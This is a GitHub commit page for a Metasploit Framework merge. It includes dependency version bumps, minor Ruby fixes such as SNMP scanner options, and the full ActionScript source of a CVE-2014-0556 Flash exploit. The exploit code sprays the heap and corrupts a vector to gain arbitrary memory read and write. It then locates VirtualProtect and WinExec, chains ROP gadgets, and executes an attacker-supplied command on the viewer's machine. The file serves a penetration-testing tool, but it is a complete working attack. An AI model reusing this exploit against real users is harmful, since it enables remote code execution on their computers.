Skip to content

Commit e0cd4a4

Browse files
committed
Merge branch 'upstream/master' into multi-session-stageless
2 parents 4e49964 + 3927024 commit e0cd4a4

File tree

164 files changed

+3093
-1564
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

164 files changed

+3093
-1564
lines changed

Gemfile.lock

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,9 @@ PATH
77
bcrypt
88
jsobfu (~> 0.2.0)
99
json
10-
metasploit-concern (~> 0.3.0)
10+
metasploit-concern (= 0.4.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.18)
12+
meterpreter_bins (= 0.0.21)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -22,9 +22,9 @@ PATH
2222
tzinfo
2323
metasploit-framework-db (4.11.0.pre.dev)
2424
activerecord (>= 3.2.21, < 4.0.0)
25-
metasploit-credential (~> 0.14.3)
25+
metasploit-credential (= 0.14.5)
2626
metasploit-framework (= 4.11.0.pre.dev)
27-
metasploit_data_models (~> 0.23.2)
27+
metasploit_data_models (= 0.24.0)
2828
pg (>= 0.11)
2929
metasploit-framework-pcap (4.11.0.pre.dev)
3030
metasploit-framework (= 4.11.0.pre.dev)
@@ -109,30 +109,30 @@ GEM
109109
mail (2.5.4)
110110
mime-types (~> 1.16)
111111
treetop (~> 1.4.8)
112-
metasploit-concern (0.3.0)
112+
metasploit-concern (0.4.0)
113113
activesupport (~> 3.0, >= 3.0.0)
114114
railties (< 4.0.0)
115-
metasploit-credential (0.14.3)
116-
metasploit-concern (~> 0.3.0)
115+
metasploit-credential (0.14.5)
116+
metasploit-concern (= 0.4.0)
117117
metasploit-model (~> 0.29.0)
118-
metasploit_data_models (~> 0.23.0)
118+
metasploit_data_models (= 0.24.0)
119119
pg
120120
railties (< 4.0.0)
121121
rubyntlm
122122
rubyzip (~> 1.1)
123-
metasploit-model (0.29.0)
123+
metasploit-model (0.29.2)
124124
activesupport
125125
railties (< 4.0.0)
126-
metasploit_data_models (0.23.2)
126+
metasploit_data_models (0.24.0)
127127
activerecord (>= 3.2.13, < 4.0.0)
128128
activesupport
129129
arel-helpers
130-
metasploit-concern (~> 0.3.0)
130+
metasploit-concern (= 0.4.0)
131131
metasploit-model (~> 0.29.0)
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.18)
135+
meterpreter_bins (0.0.21)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)
@@ -175,7 +175,7 @@ GEM
175175
rb-readline-r7 (0.5.2.0)
176176
rdoc (3.12.2)
177177
json (~> 1.4)
178-
recog (1.0.24)
178+
recog (1.0.27)
179179
nokogiri
180180
redcarpet (3.1.2)
181181
rkelly-remix (0.0.6)

data/exploits/CVE-2014-0556/msf.swf

17.3 KB
Binary file not shown.

data/templates/template_x64_bsd.bin

120 Bytes
Binary file not shown.
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
9+
// Modified to be used from msf
10+
11+
package
12+
{
13+
import flash.display.Sprite
14+
import flash.display.BitmapData
15+
import flash.geom.Rectangle
16+
import flash.utils.ByteArray
17+
import flash.display.LoaderInfo
18+
import mx.utils.Base64Decoder
19+
20+
public class Main extends Sprite
21+
{
22+
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
23+
private var uv:Vector.<Object> = new Vector.<Object>(12800)
24+
private var bd:BitmapData = new BitmapData(128, 16)
25+
private var i:uint = 0
26+
27+
public function Main()
28+
{
29+
var b64:Base64Decoder = new Base64Decoder()
30+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
31+
var payload:String = b64.toByteArray().toString()
32+
33+
for (i = 0; i < bv.length; i++) {
34+
bv[i] = new ByteArray()
35+
bv[i].length = 0x2000
36+
bv[i].position = 0xFFFFF000
37+
}
38+
39+
for (i = 0; i < bv.length; i++)
40+
if (i % 2 == 0) bv[i] = null
41+
42+
for (i = 0; i < uv.length; i++) {
43+
uv[i] = new Vector.<uint>(1022)
44+
}
45+
46+
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
47+
48+
for (i = 0; ; i++)
49+
if (uv[i].length == 0xffffffff) break
50+
51+
for (var i2:uint = 1; i2 < uv.length; i2++) {
52+
if (i == i2) continue
53+
uv[i2] = new Vector.<Object>(1014)
54+
uv[i2][0] = bv[6401]
55+
uv[i2][1] = this
56+
}
57+
58+
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
59+
bv[6401].endian = "littleEndian"
60+
bv[6401].length = 0x500000
61+
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
62+
var main:uint = uv[i][0xfffffc09] - 1
63+
var vtable:uint = vector_read(main)
64+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
65+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
66+
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
67+
byte_write(uv[i][0])
68+
69+
var flash:uint = base(vtable)
70+
var winmm:uint = module("winmm.dll", flash)
71+
var kernel32:uint = module("kernel32.dll", winmm)
72+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
73+
var winexec:uint = procedure("WinExec", kernel32)
74+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
75+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
76+
77+
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
78+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
79+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
80+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
81+
82+
byte_write(buffer + 0x100, payload, true)
83+
byte_write(buffer + 0x20070, xchgeaxespret)
84+
byte_write(buffer + 0x20000, xchgeaxesiret)
85+
byte_write(0, virtualprotect)
86+
87+
// VirtualProtect
88+
byte_write(0, winexec)
89+
byte_write(0, buffer + 0x30000)
90+
byte_write(0, 0x1000)
91+
byte_write(0, 0x40)
92+
byte_write(0, buffer + 0x80)
93+
94+
// WinExec
95+
byte_write(0, buffer + 0x30000)
96+
byte_write(0, buffer + 0x100)
97+
byte_write(0)
98+
99+
byte_write(main, buffer + 0x20000)
100+
this.toString()
101+
}
102+
103+
private function vector_write(addr:uint, value:uint = 0):void
104+
{
105+
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
106+
}
107+
108+
private function vector_read(addr:uint):uint
109+
{
110+
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
111+
}
112+
113+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
114+
{
115+
if (addr) bv[6401].position = addr
116+
if (value is String) {
117+
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
118+
if (zero) bv[6401].writeByte(0)
119+
} else bv[6401].writeUnsignedInt(value)
120+
}
121+
122+
private function byte_read(addr:uint, type:String = "dword"):uint
123+
{
124+
bv[6401].position = addr
125+
switch(type) {
126+
case "dword":
127+
return bv[6401].readUnsignedInt()
128+
case "word":
129+
return bv[6401].readUnsignedShort()
130+
case "byte":
131+
return bv[6401].readUnsignedByte()
132+
}
133+
return 0
134+
}
135+
136+
private function base(addr:uint):uint
137+
{
138+
addr &= 0xffff0000
139+
while (true) {
140+
if (byte_read(addr) == 0x00905a4d) return addr
141+
addr -= 0x10000
142+
}
143+
return 0
144+
}
145+
146+
private function module(name:String, addr:uint):uint
147+
{
148+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
149+
while (true) {
150+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
151+
if (!entry) throw new Error("FAIL!");
152+
bv[6401].position = addr + entry
153+
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
154+
}
155+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
156+
}
157+
158+
private function procedure(name:String, addr:uint):uint
159+
{
160+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
161+
var numberOfNames:uint = byte_read(eat + 0x18)
162+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
163+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
164+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
165+
for (var i:uint = 0; ; i++) {
166+
var entry:uint = byte_read(addressOfNames + i * 4)
167+
bv[6401].position = addr + entry
168+
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
169+
}
170+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
171+
}
172+
173+
private function gadget(gadget:String, hint:uint, addr:uint):uint
174+
{
175+
var find:uint = 0
176+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
177+
var value:uint = parseInt(gadget, 16)
178+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
179+
return addr + i
180+
}
181+
}
182+
}

lib/metasm/metasm/exe_format/javaclass.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def decode(c)
9696
when 'NameAndType'
9797
@info = ConstantNameAndType.decode(c)
9898
else
99-
raise 'unkown constant tag'
99+
raise 'unknown constant tag'
100100
return
101101
end
102102
end

lib/metasm/metasm/main.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -306,8 +306,8 @@ def label_at(edata, offset, base = '')
306306
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
307307
def new_label(base = '')
308308
base = base.dup.tr('^a-zA-Z0-9_', '_')
309-
# use %x instead of to_s(16) for negative values
310-
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
309+
# use %x with absolute value to avoid negative number formatting
310+
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
311311
@unique_labels_cache[base] = true
312312
base
313313
end

lib/metasploit/framework/common_engine.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
3232
end
3333

3434
config.root = Msf::Config::install_root
35+
config.paths.add 'app/concerns', autoload: true
3536
config.paths.add 'data/meterpreter', glob: '**/ext_*'
3637
config.paths.add 'modules'
3738

lib/metasploit/framework/login_scanner/snmp.rb

Lines changed: 36 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,40 @@ class SNMP
1717
PRIVATE_TYPES = [ :password ]
1818
REALM_KEY = nil
1919

20+
# The number of retries per community string
21+
# @return [Fixnum]
22+
attr_accessor :retries
23+
24+
# The SNMP version to scan
25+
# @return [String]
26+
attr_accessor :version
27+
28+
validates :retries,
29+
presence: true,
30+
numericality: {
31+
only_integer: true,
32+
greater_than_or_equal_to: 0
33+
}
34+
35+
validates :version,
36+
presence: true,
37+
inclusion: {
38+
in: ['1', '2c', 'all']
39+
}
40+
41+
# This method returns an array of versions to scan
42+
# @return [Array] An array of versions
43+
def versions
44+
case version
45+
when '1'
46+
[:SNMPv1]
47+
when '2c'
48+
[:SNMPv2c]
49+
when 'all'
50+
[:SNMPv1, :SNMPv2c]
51+
end
52+
end
53+
2054
# This method attempts a single login with a single credential against the target
2155
# @param credential [Credential] The credential object to attmpt to login with
2256
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
@@ -29,14 +63,14 @@ def attempt_login(credential)
2963
service_name: 'snmp'
3064
}
3165

32-
[:SNMPv1, :SNMPv2c].each do |version|
66+
versions.each do |version|
3367
snmp_client = ::SNMP::Manager.new(
3468
:Host => host,
3569
:Port => port,
3670
:Community => credential.public,
3771
:Version => version,
3872
:Timeout => connection_timeout,
39-
:Retries => 2,
73+
:Retries => retries,
4074
:Transport => ::SNMP::RexUDPTransport,
4175
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
4276
)

lib/metasploit/framework/require.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -59,14 +59,15 @@ def self.optionally_active_record_railtie
5959
end
6060
end
6161

62-
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
62+
# Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
63+
# `including_module`.
6364
#
6465
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
6566
# @return [void]
6667
def self.optionally_include_metasploit_credential_creation(including_module)
6768
optionally(
68-
'metasploit/credential/creation',
69-
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}",
69+
'metasploit/credential',
70+
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
7071
) do
7172
including_module.send(:include, Metasploit::Credential::Creation)
7273
end

lib/msf/core/exploit.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1276,7 +1276,7 @@ def report_failure
12761276
##
12771277

12781278
#
1279-
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
1279+
# The reason why the exploit was not successful (one of Msf::Module::Failure)
12801280
#
12811281
attr_accessor :fail_reason
12821282

@@ -1393,4 +1393,3 @@ def define_context_encoding_reqs(reqs)
13931393
end
13941394

13951395
end
1396-

0 commit comments

Comments
 (0)